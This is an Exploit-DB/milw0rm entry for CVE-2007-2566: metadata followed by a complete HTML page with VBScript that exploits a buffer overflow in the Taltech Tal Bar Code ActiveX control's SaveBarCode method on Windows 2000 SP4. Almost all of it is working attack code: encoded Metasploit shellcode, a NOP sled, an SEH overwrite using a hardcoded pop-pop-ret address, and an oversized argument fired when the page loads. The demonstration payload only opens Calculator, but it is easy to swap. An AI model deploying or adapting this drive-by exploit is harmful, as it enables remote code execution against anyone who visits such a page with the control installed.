Taltech Tal Bar Code - ActiveX Control Buffer Overflow

Author: Umesh Wanve
type: remote
platform: windows
port: 
date_added: 2007-05-07  
date_updated: 2011-04-27  
verified: 1  
codes: OSVDB-56498;CVE-2007-2566  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comTAL_Bar_Code_ActiveX_Control_Demo.exe  

raw file: 3872.html  
<!--

  ===============================================================================================
                        Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit
                                            By Umesh Wanve
  ==============================================================================================

  Date : 08-05-2007

  Reference: http://www.securityfocus.com/archive/1/467822/30/0/threaded

  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English

  Opens Calculator on the Vulnerable machine.

  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.

  Always thanks to Metasploit and Stroke

-->

<html>

<title>
 Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:C917E12F-9757-11D2-85DB-F01851C10000" > </OBJECT>

<script language="vbscript">

targetFile = "C:\Program Files\TAL Bar Code ActiveX Demo\TALBarCd.OCX"
prototype  = "Sub SaveBarCode ( ByVal FileName As String )"
memberName = "SaveBarCode"
progid     = "TALBarCode.TALBarCd"
argCount   = 1

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")



arg1=String(2488,"A")

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop


target.SaveBarCode arg1


</script>
</body>
</html>

# milw0rm.com [2007-05-08]